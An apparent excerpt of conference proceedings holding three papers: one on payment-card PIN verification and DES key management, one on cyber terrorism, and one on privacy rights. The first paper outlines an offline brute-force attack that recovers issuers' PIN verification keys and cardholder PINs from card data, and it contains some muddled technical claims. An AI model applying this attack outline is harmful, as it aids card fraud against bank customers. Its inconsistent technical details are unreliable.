For the magnetic stripe card, the cardholder signature is the primary way to identify the person presenting a payment card. Verification is made by comparing the signature on the transaction draft to the signature on the card's signature panel. If two signatures match, there is a high probability that the cardholder's identity has been verified. Commonly available technologies support one widespread solution of cardholder identity verification and that is the PIN.

The verification process begins when the cardholder enters a PIN at an ATM keyboard or at a POS terminal. When the PIN is verified online, the PIN entered is encrypted, transmitted, decrypted and compared to a reference PIN available only in the issuer's processing center. The PIN can also be confirmed by using cryptographic transformation of the entered PIN that is compared against and identical cryptographic transformation of the reference PIN. If two versions of the PIN match, there is a high probability that cardholder's identity is verified. When the PIN is verified offline, the entered PIN is compared to the PIN stored on the card's chip. If two PINs match, then there is a high probability that the cardholder's identity has been verified.

The minimum PIN length is four digits. An issuer can elect to support longer PINs up to 12 digits. However, ATM acquirers are not obliged to support PINs of more than six digits. The PIN entered by the cardholder can consist of numeric digits 0 through 9, alphabetic characters A through Z, or combination of both. PINs are always numeric. The cardholder may use alpha to remember the PINs but PINs do not contain alpha characters [4]. When entering an alphabetic PIN character, the cardholder selects the key labeled with the corresponding alphabetic character. If the keys are not labeled with alphabetic characters, the cardholder selects appropriate numeric key after converting the alphabetic character to a numeric digit [5].

The value of PIN as a means of cardholder identification depends on the ability to ensure that the PIN is known only to the cardholder. Issuers should be assured that PINs would not be compromised when using them in other members' equipment or facilities.

A Pin Verification Service - PVS is provided by the issuer. This service compares the cardholder's PIN entry to a cryptographic transformation of that PIN. This technique is referred to as the PIN Verification Value - PVV method of verification [6].

The PVV method is a two-step process:

- When a card is issued, the issuer derives a 4-digit PVV. The PVV and PIN Verification Key Index
 PVKI are encoded on the magnetic stripe of the card or in online database. The stored PVV is called the reference PVV for comparison.
- 2. When a cardholder enters a PIN, a transaction PVV is generated. The transaction PVV is then compared to the reference PVV by the issuer's processing center. If two PVVs match, there is a high probability (9999 in 10.000) that the PIN is correct.

PVVs are four-digit decimal values. For any one PVV, there are only 10.000 possible combinations of digits. If an adversary has a method of trying all 10.000 PVV combinations on a single account, the adversary will discover the PIN, or an equivalent value that transforms to the same PVV.

It is not feasible to test all 10.000 combinations manually. However, it may be possible to obtain the information needed to perpetrate a fraud by using an automated method, such as inserting microcomputers in communication lines, creating spurious transactions, and recording authorization responses. Automated testing trials such as these would not expose the PIN Verification keys but could compromise an individual PIN/PAN - Primary Account Number combination. To detect such trials, the PIN Verification service monitors the entry of incorrect PINs and declines transactions when the maximum number of incorrect OINs has been entered.

The PVV method is based on the Data Encryption Standard - DES algorithm and pair of DES keys designated as a PIN Verification Key - PVK pair. The algorithm may be implemented in hardware or software within a tamper-resistant security module. Each issuer creates its own PVKs. These keys should be different from any other DES keys used by that issuer. Because each issuer has unique keys, a breach of security is limited to a particular issuer rather than to all issuers using PVV method [7], [8].

To create a PVV, the PVK pair is input to the DES algorithm together with other data. Like any DES-based scheme, the security depends on the secrecy of the DES keys. The PVK pair must be kept secret and should not

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be known to anyone. If the unauthorized disclosure of a PVK pair is known or suspected, the PVK pair should be immediately replaced. Cards with PVVs generated using the potentially compromised key should be reissued as soon as possible, and when all such cards have been reissued, the potentially compromised PVK pair should be invalidated. To minimize the number of cards that should be reissued under this condition, it may be desirable to use a new PVK pair for each reissue.

3. DES KEY MANAGEMENT

The process of securely generating, distributing, and storing Data Encryption Standard keys is called Key Management. Key management procedures are supposed to be highly secure. The compromise of even a single key could lead to the compromise of all PINs encrypted under that key. A DES key has one of the following functions:

- A working key protects PINs and other data
- A Master key protects other keys
- Working keys are secret values that are input to the DES process. The following are examples of working keys:
- The keys needed to encrypt and decrypt PINs before and after message transmission or host storage.
- The pair of keys used to generate the PIN Verification Value. The pair of keys used to generate the Card Verification Value - CVV in Visa notation or Card Verification Code - CVC in MasterCard notation
- The pair of keys used to generate the Card authentication Verification Value CAVV.

To obtain valid results, the same working key must be used both for encryption and for decryption. Likewise, to verify a PIN with the PVV or to validate a CVV, the original encryption keys are required [9].

Key Exchange Keys

Key Exchange Keys - KEK are used to protect, meaning encrypt and decrypt working keys so they can be safely stored or conveyed from one network node to another.

The Zone Control Master Key – ZCMK Z is a type of KEK. It is used to protect other keys during transit. It can be used to transfer keys between Hardware Security Modules - HSMs. Transferred keys are encrypted under ZCMK outside of HSM and generally transferred between HSMs in a 3-component form. Firstly, generate a ZMK key, Export ZMK in 3 components and send those components to other HSM with 3 different key officers. When key officers import those 3 components to other HSM you are ready to send keys to other HSM. Also, a member uses the ZCMK to encrypt working keys before sending them to Visa or MasterCard. The Visa or MasterCard uses the ZCMK to decrypt the working keys it receives. Before storing the member's keys, Visa or MasterCard encrypts the keys again under a particular key only known to them. Visa or MasterCard uses ZCMK to encrypt working keys before sending them to a member. A member uses the ZCMK to decrypt the working keys it receives [10].

Master keys

A member master key is used by a member to protect its keys for in-house storage. This key is known only within a physically secure device at the member's processing center. The most commonly using devices are HSMs. A member master key could be used to encrypt any of the working keys, KEKs or ZCMKs used in interchange processing. The same master key should not be used to encrypt both working keys and master keys.

Key Check Value

A key check value is a six-digit, hexadecimal value that is obtained by encrypting a block of zeroes under a given key. The first six digits of the resulting ciphertext present the key check value for that key. Some HSMs only return the first four digits. The key check value does not need to be protected since it cannot be used to backtrack to the cleartext key. Because the encryption of zeroes under the same key always generate the same results. The key check value can be used to verify that two copies of a key are in fact identical.

Dynamic Key Exchange - DKE Service

The Dynamic Key Exchange Service is an optional service that enables members to periodically change working keys used to protect cardholder PINs. These keys can be changed dynamically through the exchange of online messages. The Dynamic Key Exchange Service offers alternatives for key conveyance, both of which protect PINs from disclosure during transmission [11].

• The member sends an administrative request to Visa or MasterCard for a new acquirer or new issuer working key. After receiving the request, Visa or MasterCard generates the appropriate working key and sends it online to the member.

• The member authorizes Visa or MasterCard to automatically generate new acquirer and new issuer working keys on a daily basis. The member may specify time and day when Visa or Master-Card should generate and send new keys before sending an authorization request to issuer.

Keys are exchanged using 0800 and 0810 network management messages [12].

Message Security Code - MSC is a part of the message with the purpose to confirm that the message comes from the stated sender and has not been changed [13].

Both acquirers and issuers should evaluate possible alternative processes if problems are encountered during the implementation. It is recommended that a procedure should be established to allow a return to manual key procedures. Europay, MasterCard and Visa – EMV offer the following two procedures:

• Offline

When a key problem is discovered, EMV will contact the member or the member will contact EMV and the further generation of working keys is temporary halted. When the Offline procedure is invoked, EMV will start using the static key in messages sent to the member. The operator at the member site must be familiar with the procedure for transferring their static keys to their dynamic key areas. The method for doing this will vary by member. Once this static key is in place, EMV will coordinate with the member to return to dynamics key.

• Fallback

When the Fallback option is used, EMV will send the member 0800 key exchange message in which the key in MSC is equal to zeros. When MSC is filled with zeros, the numbers should switch to their static keys and send 0810 response with Response Code Zero - MSC. If the member does not respond with an approval, system will not use the static key. This Fallback procedure is similar to the normal key exchange process, except that MSC contains zeros [14].



Fig. 1. Interchange Message Path

4. PROPOSED CRYPTANALYSIS

As we noticed in the previous text, the actual algorithm, which is generally used in the protection of payment card data, is DES algorithm. DES algorithm belongs to the group of symmetric algorithms. In addition, DES algorithm is a block cipher system, which means that the data is dividing into the blocks size of 64 bits or 8 bytes. Having on mind the fact that the enciphered PIN value, PVV is just 4 digits long, there is a possibility to recalculate clear text PIN value. What we suggest is using brute force attack or exhaustive key search to PVV in order to recalculate original PIN.

The issuers usually creates PIN value that consists of 4 digits although the number of digits can be up to 12 digits, as it is described in the previous text. The main reason for such length is facilitating the humans to remember the PIN. The number of possible combination for PIN value is 10.000, from 0000 to 9999. Trying all possible combinations on the ATM or POS, most likely will be unsuccessful. As it is mentioned in the previous text, the number of attempts to enter PIN value is limited. The number of attempts depends on the issuer, but commonly used number of allowed attempts is 3 after which the card is blocked. So recovering PIN on the ATM or POS is not an option.

We suggest copying PVV value to the local computer and doing the cryptanalysis on local equipment in such a way that the payment system has no information about the attack. The number of attempts in such a scenario is unlimited. When the PIN is revealed, the card can be used on ATM or POS without any obstacles. In that way attacker can bypass the Card Operating System - COS on the chip and the whole system of the cryptographic

keys which is partially described in the previous text. The brute force attack can be performed by specialized software or hardware.

A brute force attack on DES requires a single plaintext/ ciphertext pair. Another plaintext/ciphertext pair is useful to confirm the result once found and rule out a false positive. It can be concluded that if attacker knew one PIN/PVV pair for a particular bank and a particular type of card, the attacker did a brute force attack and revealed the DES key. The same algorithm and the same key are valid for the other cards of the same bank and the same type of card.

If the attacker legally owns a bank card he knows the PIN and PVV at the same time which means that he knows the clear text and enciphered text. At the same time, the attacker knows the applied algorithm. If attacker is performing attack on local resources, it will not violate limitation number of PIN attempt input.

Capacities of the hardware and processors power might be an issue, but if the attacker performs using the capacities of other computers thus doing the parallel processing, the problem can be resolved relatively quickly.

In order to speed up the process from mathematical perspective it is good to have on mind the following:

DES key search with a single PIN/PVV using a blackbox DES implementation requires 2^{56} invocations in the worst case. Discounting the "optimization" of concluding after 2^{56} -1 keys did not match that the single remaining one must be right, which is unrealistic, and saves only 2^{-56} of the effort with odds 2^{-56} . There will be 2^{55} invocations on average, the expected time/effort. Chance/risk, depending on point of view by attacker/user, that the key is found after only 2^t tests is 2^{t-56} for $t \le 56$ using sequential key search, or t << 56 using random key search [15].

5. CONCLUSION

In this text we described some basic elements and methods of payment cards and analyzed their interdependencies. The weakness of PIN protecting presented in this paper points to the vulnerability of whole bank card system regarding the bank cards with magnetic stripe and bank cards with chip. It is shown that there is a significant probability to reveal the PIN value and unauthorized use of counterfeited card on the ATM and POS as well. The observed vulnerability can be exploited widely even from the attackers who are neither top skilled in cryptography nor in programming. The danger for the bank card system is huge. As it was previously said, over 90% of world's money is digitalized so the danger is almost unimaginable.

If banks take our work into consideration they will conclude that it is necessary to change the PIN protection, which has been in use for over a four decades. It is ultimate time for applying the new system of PIN protection while it is not too late. We tried to make an alert and we hope that this article will initiate changes that will secure the digitalized currencies. Capacities of the hardware and processors power might be an issue, but if the attacker performs using the capacities of other computers thus doing the parallel processing, the problem can be resolved relatively quickly.

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INFORMATION SECURITY

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CYBER TERRORISM ON THE INTERNET AND SOCIAL NETWORKING: A THREAT TO GLOBAL SECURITY

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Abstract:

In recent years, an increasing problem attracting expert attention has been the "dark side of surfing the Internet" or "Dark net" or "Deep Web". It is estimated that this "digital underground" is much bigger than the Internet itself and that hackers, criminals, terrorists, paedophiles can completely freely carry out their illegal activities. Cyber space is very suitable for various terrorist activities and operations, as it provides a facility for secure communications at a very low cost, while social networks can be used by terrorists as a psychological weapon.

Cyber terrorism is a modern form of terrorism, which connects two great fears of modern times: the virtual space and terrorist activity. Most of the terrorist groups use three basic methods: physical attack, electronic attack and the attack on the computer networks. Based on the characteristics of cyber terrorism, it is possible to reconstruct the criminological dimensions of terrorist attacks in cyberspace.

International legislative made great efforts in order to effectively counter fight cyber terrorism both on international as well as on member states level, emphasizing the interstate and intergovernmental cooperation on three parallel levels: international organizations, multilateral and multinational platforms and regional action.

Keywords:

cyber space, cyber terrorism, characteristics of cyber terrorism, methods, social networks, international legislative.

1. INTRODUCTION

In recent years, an increasing problem attracting expert attention has been the "dark side of surfing the Internet" or "Dark net" or "Deep Web", where data and information is password locked, trapped behind a pay walls, or the user is required to use special software to access this data. It is estimated that this "digital underground" is much bigger than the Internet itself and that hackers, criminals, terrorists, paedophiles can completely freely carry out their illegal activities. In Deep Web users can buy and sell drugs, forged money and forged documents, weapons, ammunition and explosives, order and pay to murder someone, sell and buy human organs. Deep Web has a special system of online payments concealing identity [1]. Considering that those activities on Deep Web and especially cyber terrorism are a new area of possible computers and networks misuse and

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criminality, there is an evident lack of comprehensive theoretical and empirical research on this phenomenon.

2. WHAT IS CYBER TERRORISM

Cyber terrorism is a modern form of terrorism, which connects two great fears of modern times: the virtual cyber space and terrorist activity [2]. Internet space is very suitable for various terrorist activities and operations, as it provides a facility for secure communications at a very low cost [3]. Cyber terrorism refers to deliberate, politically motivated attacks on computer systems and programs, as well as the data, which could provoke violence and fear with the civilian targets [4]. New weapons in virtual wars that are used are Logic Bombs, Trojan horses, Worms and Viruses, whose main objective is to disable the system from functioning properly and the loss of information, so therefore to overload phone lines, air force control and to control computers responsible for supervision of other forms of transport, to lead to misuse and failure of programs used by large institutions of state significance and emergency services.

There is no unique and universally accepted definition of cyber terrorism, but all given definitions pointed out that some of the elements of this criminal activity include: data theft or hacking, planning terrorist attacks, causing violence, attacks on information systems and computer networks etc. However, internet terrorism must be considered separately from computer crime in general, because every attack on computer or network system does not necessarily represent the act of cyber terrorism. If the cyber terrorism is equated with daily attacks on computer and network systems, it would be an even bigger problem to determine with certainty the identity, intention or political underpinning of the perpetrator. For this reason, cyber terrorism is proper to define as the use of computers in the function of weapons or targets, by politically motivated international or para-national groups or individuals who threaten or carry out violence in order to influence the public and the official government to change their way of doing politics [5]. Some authors, such as James Lewis, define cyber terrorism as the use of cyber computer networks and internet tools for breaking critical national infrastructures (such as energy, public transport, government activities, etc.) or to intimidate or compel a government of one country or its citizens [6]. The aim of conducting such activities is to incapacitate critical national infrastructure and, in order to become more dependent on computer networks and therefore more vulnerable, create a "massive electronic Achilles'

heel" of each system that could be violated and misused by organized groups [7]. Cyber terrorism is actually using modern technology to create strategic weaknesses of a system and use those weaknesses for achieving its goals.

Debra Littlejohn Shinder believes that attacks on computers and computer networks can be defined as cyber terrorism if the effects are destructive enough to produce fear comparable to the physical act of terrorism [8]. This is a violent form of computer criminality committed, planned or coordinated in a virtual space and using computer networks [9]. Some of the most common acts that lead to computer terrorism are: communication with electronic messages in order to achieve agreed conspiracy to carry out specific terrorist activities or to recruit new members for terrorist organizations, air traffic sabotage in order to provoke crashing the aircrafts, water pollution by sabotaging electronic purifiers, incursions into hospital and healthcare systems to delete or change patients' database and prescribed methods of treatment, attacks on infrastructure of power supply that can provoke the death of a large number of people who are on respirators, who are given medical care in their homes and do not have electrical generators as hospitals do etc.

Abraham R. Wagner believes that the Internet and social networks are an ideal place to carry out terrorist activities and operations, because they allow geographically unlimited actions as well as high-speed communications that do not cost much. The terrorists' use and misuse of the computers and computer networks can be conducted in four main directions: (1) using Internet for terrorists communicating among each other; (2) creating access to a variety of information stored on the Internet and implying possible targets as well as providing technical details for such, as for example concluding and handling the weapons; (3) the use of the Internet to spread terrorist ideas and the ideology of a terroristic organization and (4) the conducting of terroristic attacks over the Internet [10].

Cyber terrorism is defined also as a criminal act in virtual space aimed to intimidate the government of one country or its citizens for achieving some political objectives [11]. Technical characteristics of conducting such terrorist acts are limited opportunities for direct monitoring, control and disclosure of these activities; unlimited possibilities in time and space in virtual space, the possibility of operating at a large distance, numerous choices of targets, the lack of geographical constraints, precise timing, possibility for previous testing of planned actions which reduce the risk of eventual failure to a minimum; anonymity of the perpetrators. Internet terrorism is a deliberate misuse of digital information systems, networks or its components for the purpose of conducting terrorist activity and achieving its goal. The results of these activities are direct violence, spreading fear among civilians, causing instability of strategic and vital functions of the state institutions and great suffering of the civilians, as well as different mass accidents described as "collateral damage" [12].

3. CRIMINOLOGICAL DIMENSIONS OF CYBER TERRORISM

One of the international organizations that devoted its work to cyber crime is the American National Infrastructure Protection Centre - NIPC [13]. According to "DCSINT Handbook No. 1.02, Cyber Operations and Cyber Terrorism" which is used for training US soldiers, internet operations consist of internet terrorism and internet support, expressed through planning, recruitment and propaganda [14]. With this kind of activities, the computer network can be used as a weapon, as an intermediary target or as an activity that precedes or follows physical assault. The Manual states that the most important goal of cyber terrorism is the loss of integrity of the target itself, reducing its possibilities of action, lack of trust, security and safety, and then finally the physical destruction [15]. The most common motivation identified within cyber terrorism is blackmail, desire for destruction, different kinds of exploitation and revenge, and most common actions undertaken or threatened by terrorists are physical destruction, destruction of important data and information, attack on computer systems of great importance, illegal incursions into computer systems from public importance and the access denial to essential systems, services and data [16]. FBI described cyber terrorism as a "development of terrorist capabilities provided by new technologies and networked organizations, which allows terrorists to conduct their operations with little or no physical risk to themselves" which is focused on "physical destruction of information hardware and software, or physical damage to personnel or equipment using information technology as the medium"[17].

Based on the characteristics of cyber terrorism, it is possible to reconstruct the criminological dimensions of the terrorist attacks in cyberspace. In order to understand better the cyber terrorism, it is necessary firstly to understand the virtual space itself with all its possibilities, and then to analyze the following questions:

1. who are the perpetrators of cyber terrorism (whether they are supported by a state, whether the state discards them, whether they are quasi-public formations, hacker groups or people in power who are engaged in espionage);

- 2. what tools and techniques will be used in the process of planning and execution of the attack itself;
- how to apply the techniques, tactics and procedures for performing cyber attacks (a method of social engineering, creation and releasing of viruses and malware into the computer system);
- where the attack is carried out or which categories of potential targets of terrorist cyber attacks (information and communication networks, data, objects in "real" world, energy, banking and finance, vital services of a country);
- why the attack is carried out or the motivation for carrying out cyber terrorist attacks, which results they want to achieve, what are the advantages and disadvantages of such actions;
- 6. when the attack is carried out [18].

4. WHY DO TERRORISTS RELY ON CYBER SPACE AND SOCIAL NETWORKS

Various sensitive state and social structures can be attacked and affected by different methods of attack, and also different weapons can be used. Most of the terrorist groups use three basic methods: physical attack carried out with conventional weapons and directed to computer systems or data information transmission lines; electronic attack that involves the use of electromagnetic force or electromagnetic pulse to block computer systems, as well as the insertion of malicious software into the computer systems and channels of information transfer, as well as the attack on the computer networks that usually involves the use of malware as a function of weapons in computer and network systems and exploitation of the vulnerabilities and weaknesses in computer programs, used by the enemy in system configuration or security settings of your computer in order to steal some data or destroy them [19]. Terrorist organizations largely take advantage of the Internet in order to carry out their activities: in 1998 more than half of the organizations that have been identified in the United States as terrorist had its website, in 1999 all had at least one internet presentation, and by 2007 it was recorded that there were over 5,000 terrorist websites on the internet. Basically all terrorist web sites contain information such as: basic goals and mission, the history of the organization, the arguments which appeal to potential new members to accept the mission and goals of the organization, audio and video attachments, recognizable logos of organizations and even video games

for children ideologically promoting the goals of terrorist organizations. [20].

There are many reasons why terrorists use the internet for propaganda, planning and implementation of its activities, as well as the recruitment of new members: (1) the internet is cheap because all you need is a computer and access to the network, it is not necessary to purchase arms because only one malicious program is enough to realize certain activity; (2) the manner of conducting the attack protects the anonymity of the attackers who use different nicknames so it is difficult to trace them, there are no geographical borders between different countries nor police checkouts to deal with; (3) the number of potential targets is impossible to determine; (4) for the implementation of planned terroristic actions it takes less physical training and readiness, the risk of death is insignificant and it is not necessary to travel to different places and (5) cyber terrorism can affect far more people than traditional terrorist attacks [21].

In addition to conventional weapons, terrorists can now also use modern, strong and massive weapons such as the mass media and new technologies. For instance, the internet can be used in one of the triple ways: as a weapon, as a means of communication between activists and as a medium for addressing the public in order to spread terroristic ideology [22]. The fastest way to spread fear and panic is through mass and electronic media [23]. Using encrypted communications through the public Internet service provides provide an opportunity for members of the various terroristic cells to be in constant contact, making their detection and the interpretation of sent messages very difficult [24]. In addition to communication via e-mail, there are other techniques [25] for communication and data exchange via Internet, such as embedding data into digital images [26] and "dead drop" technique [27]. The sender can incorporate certain information into digital images available on the Internet or can replace an existing image with one that already contains data, so the recipient can download images from the Internet and extract the data, with no apparent link to the sender. Certain place on the server can be used as file sender, and the recipient of the files can be removed or hidden. For this purpose any available server can be used, the name of the file remains on the server, but not its content. There are numerous public and private services on the Internet that could be potential targets of terrorist attacks, such as information and communication systems, banking and finance, energy (oil, gas and electricity), delivery of commercial products and services considered vital for human beings [28].

Social networks can be used by terrorists as a psychological weapon in order to spread disinformation spreading fear, panic, intimidating messages and threats to the public [29]. Terrorists have a complete control over the contents of messages that are placed in the electronic media and on social networks, and that is just one more way of trying to collect funds to finance its activities [30], for the recruitment and mobilization of new members [31], for the purpose of building connections and exchanging information [32], planning and coordination of terrorist activities [33]. By monitoring internet web sites, terrorist organizations can identify things that internet users are interested in and, accordingly, to make requests for payment of grants or donations for financing their actions. Internet could be the initial contact point for individuals who voluntarily want to join terrorist movements, because they used the Internet to spread their propaganda and ideology by uploading different literature for the purpose of recruiting potential members, identification of possible interests and for presentation of different ideas based on distorted interpretation of religious beliefs etc. Terrorists use the Internet in order to plan and to coordinate specific attacks, in which they use encrypted messages via chat rooms, maps, photographs, signs, technical features hidden in graphics files and digital images, as well as different steganographic tools.

Funding terrorist activities can also be done over the Internet and through social networks. Numerous terrorist groups seek direct financial contributions from its sites visitors and from its members and supporters: the money can be paid directly to specific bank accounts, and some organizations are receiving donations and using PayPal service or sales in online stores which are located within their web presentations [34]. Donations are not necessarily in cash but may also be in the actions and objects that terrorist activitists may find to be of help for the main activity (weapons, maps of buildings and objects of interest, bulletproof vests, etc.). In order to gain funds for financing terrorist activities, members of terrorist groups are also very often keen to commit other different criminal acts, such as the abuse or misuse of different tools for ecommerce, debit or credit cards, theft of someone else's identity, internet scams etc.

5. CONCLUSION

International legislative made great efforts in order to effectively counter fight cyber terrorism both on international as well as on member states level, emphasizing the interstate and intergovernmental cooperation on three parallel levels:

- 1. Through international organizations: the United Nations requires of its Member States to put special measures to prevent all potential hazards in the field of information security, while in September 2002 Interpol established a special department against terrorism [35];
- 2. Through multilateral and multinational platforms: the interest of the G8 dealing with the prevention of terrorism and protection of information technology from terrorism, and through the work of the Organization for Economic Cooperation and Development (OECD) which in 2002 adopted Guidelines for the Security of Information Systems and Networks [36] by suggesting the governments of member states to promote information security and the security of computer networks in order to prevent cyber terrorism, computer viruses and hacking into systems, so that the privacy of individuals and their personal freedom would be safe;
- 3. Through regional action: mostly through the activities of the European Union against terrorism in general and the Council of Europe, by establishing The Committee of Experts on Cyber Terrorism (CODEXTER) [37] and the adoption of the Convention on Cybercrime [38] and the Convention on Prevention of Terrorism [39]. CODEXTER concluded at its meetings that the Internet can be used for terrorist purposes in several different ways and can its use can produce different effects: 1) terrorist attacks over the Internet can cause harm not only to the electronic communication systems but also to "ordinary" infrastructure systems and to produce a large number of human casualties; 2) dissemination and distribution of illegal content, threats, advertisements that glorify terrorism, financing of terrorist acts, organizing training for terrorist and potential member recruitment for terrorist organizations, and 3) the use of logistics and information technology in order to search for potential targets of terrorist attacks.

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INFORMATION SECURITY

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THE RIGHT TO PRIVACY, INFORMATIONAL PRIVACY AND THE RIGHT TO INFORMATION IN THE CYBERSPACE

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Abstract:

The fact that it is possible to collect, store, distribute, reproduce, publish and make personal data available to a wide range of people in cyber space, developed a feeling of insecurity and lack of safety and protection. The aim of the paper is to make users of social networks and internet in general aware not to overestimate their power of having control over the information they have published via social networks, and to be aware of their technical ignorance and the possibilities of privacy settings of user profiles.

Privacy on the Internet consists of the right to personal information concerning their preservation, use, safety and displaying this personal information in the cyber space, as well as identification of information relating to particular website visitors. Information privacy includes information security, meaning that information society exists when each individual can decide how to dispose their personal data. When we talk about the right to privacy, we need to emphasise that the right to be informed must not affect the right to privacy.

Keywords:

privacy, e-privacy, information privacy, right to be informed, Internet.

1. INTRODUCTION

The development of modern technology has endangered personal privacy in the virtual space. The fact that it is possible to collect, store, distribute, reproduce, publish and make personal data available to a wide range of people in cyber space, developed a feeling of insecurity and lack of safety and protection. A decade ago, while computer systems were just in a phase of development, all these data were transferred from the virtual space in a variety of digital media, making the "digital dossiers". The development of information technologies enabled the connection between different databases, which further increased the risk of endangering the privacy of their users.

With the usage of the Internet, transmission of digital data and information has become even easier. Initially, the "primitive" internet allowed users anonymity - the information was forwarded via IP address, so both the sender and the recipient could keep their anonymity. Today's "progressive" model of internet communication is entirely different and even more dangerous for the privacy of its users.

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2. THE PRIVACY OF SOCIAL NETWORK USERS

Social networks have created detail and comprehensive database of personal details from the lives of its users [1], and this database is daily complemented with increasing number of information that is public and accessible to all stakeholders of virtual interaction in cyber space. As soon as certain personal information is published on the Internet, it becomes public and available to anyone to read and further use, and the owner of the information loses control over their intimacy and published information. The users of social networks and internet in general usually overestimate their power of having control over the information they have published via social networks, because they are unaware of their technical ignorance and the possibilities of user profiles privacy settings.

Modern states have faced the problem how to balance the rights to privacy of individuals and the right of the public to be informed. Controversially, both rights form the foundations of a modern democratic society in which the state has the right to protect itself by restricting the right to privacy of an individual.

There are four main reasons for a possibility of violating the right to privacy on social networks [2]:

- the imperfection of social network users, relating mainly to the imperfections of a man as a human being and their need to share their own privacy with other people and the lack of awareness that the privacy does not exist in cyber space, so once something gets published it goes public that very moment;
- flaws in the software that social networks use, resulting in the lack of privacy protection mechanisms on social networks, thus making users' privacy unprotected from all direct malicious attacks, such as the theft of personal data, creation of fake profiles, etc.;
- 3. inadvertent disclosure of personal data: personal data on social networks can be reached by the method of exclusion (e.g. based on the year of graduation, we can conclude how old the user is, even tough it is not written in the profile);
- 4. conflict of interest most social networks gain financial benefits from variety of ads placed by an advertising agencies, which creates conflict of interest regarding collected personal data that advertising agencies can access; the users want their data inaccessible to people that are not marked as "friends" on the social network, while advertising

agencies want to come into possession of a large number of personal information in order to better and more easily sell their products or services. Privacy can be defined as "a state of carefully limited access to personal data"[3]. Any behaviour different from those described above can result in privacy rights abuse and the collection of sensitive personal information about someone without their consent and knowledge that the personal information could be manipulated.

In electronic communications, privacy can be understood as "freedom from systematic observation, recording of activities and personal data, or the right of individuals to self-determine when, how and to what extent information about their communications can and should be available to others" [4]. In this sense, user's privacy can be violated in several ways: a decline in the zone of privacy (access, collection and processing), data abuse (making certain action on the basis of available information) and the interception and leveraging the information (profiling) [5].

3. PRIVACY OR INFORMATIONAL PRIVACY

The right to privacy is one of the fundamental human rights. It is recognized both on international and constitutional level, and it is incorporated both in public law and civil law provisions, obligatory to everyone (lat. erga omnes), protecting individuals from harassment by state/ government authorities and from other individuals. As an opposite to the publicly available information, privacy involves secrecy and lack of harassment. It is referred to the private life of the individual, in which it is justified to expect peace and serenity, and non-interference with the intimacy. The right to privacy allows the individual to selectively show to other people as much as they want [6].

Privacy in electronic communications includes the collecting, processing and dissemination of information about users to third parties, whereby individuals who record and publish their activities and personal data, determine when, how and to what extent the information should and can be made available to others [7]. Some authors [8] define privacy as a complex concept, which consists of personal autonomy, democratic participation, managing its own identity and social coordination. The central point of this multidimensional structure of privacy right consists of the urge to retain personal data private and to prevent other people to interfere.

The term "privacy" is often used in everyday communication, as well as in different philosophical, political and legal discussions, but there is still no unique definition or generally accepted meaning of the term. The concept of privacy has a well-known historical root in the works of Aristotle. He was the first one to try to define privacy as everything that is related to the family and individual, standing as opposite to political activities as "public property" [9]. Privacy is often defined as interest that has a strong moral value or as a moral or legal right of the individual that must be protected by society or law [10].

Privacy can be divided into spatial, communication and information privacy [11]. Spatial privacy refers to maintaining privacy in someone's home and other space in which people lead their own lives separately from the others. This type of privacy includes the respect of the right to have one's own space, both within home and family and in the workplace. Communication privacy refers to privacy of correspondence and other forms of communication with other people.

Information privacy is closely related to information technology development and refers to collecting personal data about internet users, managing these data and their further use. In a narrow sense, information privacy refers to a need of an individual, a group or an institution to independently decide when, how and what information about themselves they wish to cede to others [12]. In a broad sense, information privacy includes information security, meaning that information society exists when everyone can decide how to dispose their personal data, regarding their needs and community requirements [13]. Information privacy consolidates legal values of protecting the rights of an individual in society that have developed information technology and the concept of personal data, referred to as "e-privacy" [14].

The right to information privacy includes the right to be informed, the right to adequate use of personal data, the right to control these data, the right to correct published data and the right to use legal remedies and appeals [15]. The right to privacy, as an individual right, can be defined as a control, editing, managing and deletion of information about an individual, when the owner of the personal information decides so [16].

Despite the daily development of information technologies and new forms of potential abuse, Internet users expect that each information system has the capacity to reject attacks that can endanger system data. Also, the problem is that users voluntarily and on their own initiative publish a large number of their personal information in cyber space, without considering whether this information could be misused. The most common methods of disrespecting the right to privacy on the Internet is unauthorized access, collection and processing of personal data, misuse of the collected data, interception of sent information, etc. However, according to a European Commission report on EU citizens' experience and perceptions of cyber security issues in 2012 [17], most respondents expressed that they have changed their behaviour when using the Internet by not giving their personal data or not opening e-mails that come from the unknown people and whose contents seem suspicious. Half of the respondents said that they had changed their password several times in the past year for security reasons, especially to increase security of personal data and financial transactions carried out via the Internet. One-third of the respondents said that they had at least once received an email that could be considered as an internet fraud, that they had been victims of identity theft attempt, hacking attempts or cyber violence or sexual harassment.

4. THE RIGHT TO PRIVACY AND THE RIGHT TO BE INFORMED

The use of information and communication technologies spread to all areas of people's lives, their work, entertainment and many other private and business activities, so almost everything in society has become "online", starting from signing the contracts to committing criminal acts. Internet and other related technologies transformed the society in three specific areas: privacy, freedom of expression and free flow of information. Social changes in modern society in the field of information and communication technologies that started in 1970s reflected perception of a new phenomenon - information society. Information became an important element of freedom and the right to spread information, which to a large extent depended on the legitimacy and possibility of managing the collected data [18]. In the modern information society, technological progress allows processing, storage, accessibility and transfer of information in any form, regardless of distance, time and quantity. Even though there is no generally accepted definition of the term "information society", in the related literature there are three constitutional elements of the information society: information and knowledge; proliferation of information and communication technologies; access and use of information and communication technologies [19]. The information is the data that is used and has a certain effect or meaning to the recipient. For information to be useful, among other things, it must be accurate, correct, complete, simple, reliable and timely. Information or information flow is important both from social as well as the psychological and legal aspects. The right to public

information and the right to privacy are basic human rights guaranteed by both international and national legislation, primarily as constitutional rights.

When we talk about the right to privacy, we need to emphasise that the right to be informed must not affect the right to privacy. Legal regulation of these two rights should lead to their balance and adjustment. In some cases, there is a legitimate public interest to have access to certain information and legitimate interest of individual to be "left alone". In such cases, it is necessary to estimate what principle should be given priority, but in a way that the second principle affirms to the maximum possible extent.

5. CONCLUSION

The right to privacy as a fundamental human right has a special significance in the corpus of human rights. The international normative framework of the right to privacy consists of more international instruments: The Universal Declaration of Human Rights (1948) [20], International Covenant on Civil and Political Rights (1966) [21], European Convention on Human Rights - Convention for the Protection of Human Rights and Fundamental Freedoms (Rome, 1950) [22], Convention on the Rights of the Child (1989) [23], Resolution of the Parliamentary Assembly of the Council of Europe [24], Charter of Fundamental Rights of the European Union [25], EU Directive 95/46/ EC [26], Directive of the European Parliament and Council Directive 97/66/EC [27], Directive on Privacy and Electronic Communications [28].

